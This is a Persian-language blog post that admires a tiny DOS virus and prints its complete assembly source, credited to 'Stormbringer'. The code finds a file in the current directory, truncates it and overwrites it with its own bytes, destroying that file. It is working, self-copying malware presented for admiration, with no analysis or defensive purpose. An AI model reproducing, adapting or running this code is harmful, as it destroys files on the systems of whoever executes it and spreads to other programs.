تبلیغات
برنامه های ریجستری - این کد یکی از کم حجم ترین ویروسهای دنیا هست

برنامه های ریجستری

این کد یکی از کم حجم ترین ویروسهای دنیا هست که بزبان اسمبلی نوشته شده.  ساختار ساده این ویروس همه رو محو میکنه و هنر برنامه نویسی اینجا به اوج میرسه. البته کاری که این ویروس میکنه خیلی احمقانه بنظر میاد.. ولی حجم کمش باعث میشه که مورد توجه قرار بگیره. (دستکاری رجیسترها به این صورت یه کم احمقانه هست  نظر هم بدین

.
;Code by Stormbringer..

.model tiny
.radix 16
.code
        org 100
start:
       
FindFile:       
        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't
        push    si              ;si defaults to 100h under dos - use this l8r
        mov     dx,offset filemask
        mov     ah,4e
        int     21

OverwriteFile:
        mov     dx,9e
        mov     ah,3c
        int     21

WriteVirus:       
        xchg    bx,ax
        mov     ah,40
        pop     dx              ;get 100h from si earlier for write pointer
        mov     cl,endvir-start ;move only to CL, CH is already zero
        int     21

Terminate:
        ret                     ;terminate by returning to PSP (Int 20)

filemask        db      '*.*',0
endvir:
end start

 

نظرات() 
 
لبخندناراحتچشمک
نیشخندبغلسوال
قلبخجالتزبان
ماچتعجبعصبانی
عینکشیطانگریه
خندهقهقههخداحافظ
سبزقهرهورا
دستگلتفکر

آمار وبلاگ

  • کل بازدید :
  • بازدید امروز :
  • بازدید دیروز :
  • بازدید این ماه :
  • بازدید ماه قبل :
  • تعداد نویسندگان :
  • تعداد کل پست ها :
  • آخرین بازدید :
  • آخرین بروز رسانی :